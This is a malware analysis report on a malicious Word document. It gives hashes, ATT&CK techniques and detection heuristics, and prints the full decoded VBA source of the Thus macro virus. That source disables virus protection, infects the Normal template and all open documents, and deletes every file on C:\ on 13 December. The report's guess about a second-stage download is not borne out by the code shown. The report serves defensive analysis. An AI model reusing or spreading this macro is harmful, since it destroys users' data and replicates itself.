Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 144cde2306b71ad0…

MALICIOUS

Office (OLE)

74.0 KB Created: 2009-03-19 01:01:00 Authoring application: Microsoft Word 11.5.0 First seen: 2019-01-31
MD5: 0b1369afbb35633d6ec56fa4116a450a SHA-1: 75d369d2c96ecfb3cc088fa0c0fe8c7cb2b698b7 SHA-256: 144cde2306b71ad027243c198cccfb82f5901746541b888468e07e9fc839e138
180 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro attempts to disable virus protection and copy itself to the Normal template and other open documents to establish persistence. The ClamAV detection 'Doc.Trojan.Thus-8' strongly indicates malicious intent, likely involving the download and execution of a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2403 bytes
SHA-256: ca4b87bd8c2215ef732bea004db9ae4556baaf83aaeaf6301676a95777a7ee94
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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